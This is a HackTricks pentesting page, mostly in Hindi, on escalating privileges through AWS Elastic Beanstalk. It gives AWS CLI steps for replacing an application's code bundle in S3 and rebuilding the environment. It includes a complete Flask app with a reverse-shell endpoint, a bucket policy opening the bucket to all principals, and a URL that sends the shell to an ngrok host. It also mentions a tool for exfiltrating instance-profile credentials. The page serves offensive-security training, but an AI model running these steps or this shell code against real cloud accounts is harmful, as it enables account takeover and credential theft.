AWS - Elastic Beanstalk Privesc

हैकट्रिक्स का समर्थन करें

Elastic Beanstalk

अधिक जानकारी Elastic Beanstalk में:

AWS - Elastic Beanstalk Enum

Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको कई विभिन्न सेवाओं में कई संवेदनशील अनुमतियाँ होनी चाहिए। आप उदाहरण के लिए जांच सकते हैं कि arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk को कितनी अनुमतियाँ दी गई हैं।

elasticbeanstalk:RebuildEnvironment, S3 लेखन अनुमतियाँ और कई अन्य

S3 बकेट पर लेखन अनुमतियों के साथ और अनुमतियों के साथ एप्लिकेशन को पुनः निर्माण करने की अनुमति होने पर (इसके लिए elasticbeanstalk:RebuildEnvironment और S3, EC2 और Cloudformation के संबंधित कुछ अधिक अनुमतियों की आवश्यकता है), आप कोड में परिवर्तन कर सकते हैं, एप्लिकेशन को पुनः निर्माण कर सकते हैं और अगली बार जब आप ऐप्लिकेशन तक पहुंचेंगे तो वह आपके नए कोड को निष्पादित करेगा, जिससे हमलावार ऐप्लिकेशन और उसके IAM भूमिका क्रेडेंशियल को कंप्रमाइज करने की अनुमति होगी।

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, और अधिक...

उल्लिखित प्लस कई S3, EC2, cloudformation ,autoscaling और elasticloadbalancing अनुमतियाँ आवश्यक हैं एक रॉ एलास्टिक बीनस्टॉक स्थिति को शुरुआत से बनाने के लिए।

  • एक AWS Elastic Beanstalk एप्लिकेशन बनाएं:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

यदि एक environment पहले से बनाया गया है और आप नया नहीं बनाना चाहते हैं, तो आप बस मौजूदा को अपडेट कर सकते हैं।

  • अपने एप्लिकेशन कोड और dependencies को एक ZIP फ़ाइल में पैकेज करें:

zip -r MyApp.zip .
  • S3 बकेट में ZIP फ़ाइल अपलोड करें:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • AWS Elastic Beanstalk एप्लिकेशन संस्करण बनाएं:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • अपने AWS Elastic Beanstalk environment में एप्लिकेशन संस्करण को डिप्लॉय करें:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

सबसे पहले आपको वास्तविक Beanstalk परिवेश बनाने की आवश्यकता है जिसमें कोड हो जिसे आप विक्टिम में चलाना चाहेंगे पिछले कदमों का पालन करते हुए। संभावना है एक सरल zip जिसमें ये 2 फ़ाइलें हो सकती हैं:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

जब आपके पास अपना Beanstalk env चल रहा हो और आपका rev shell हो, तो अब यह माइग्रेट करने का समय है विक्टिम env में। इसे करने के लिए आपको अपने beanstalk S3 बकेट की बकेट नीति को अपडेट करने की आवश्यकता है ताकि विक्टिम इसे एक्सेस कर सके (ध्यान दें कि यह सभी के लिए बकेट को खोल देगा):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}

{% कोड ओवरफ्लोव="रैप" %}

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
हैकट्रिक्स का समर्थन करें

Last updated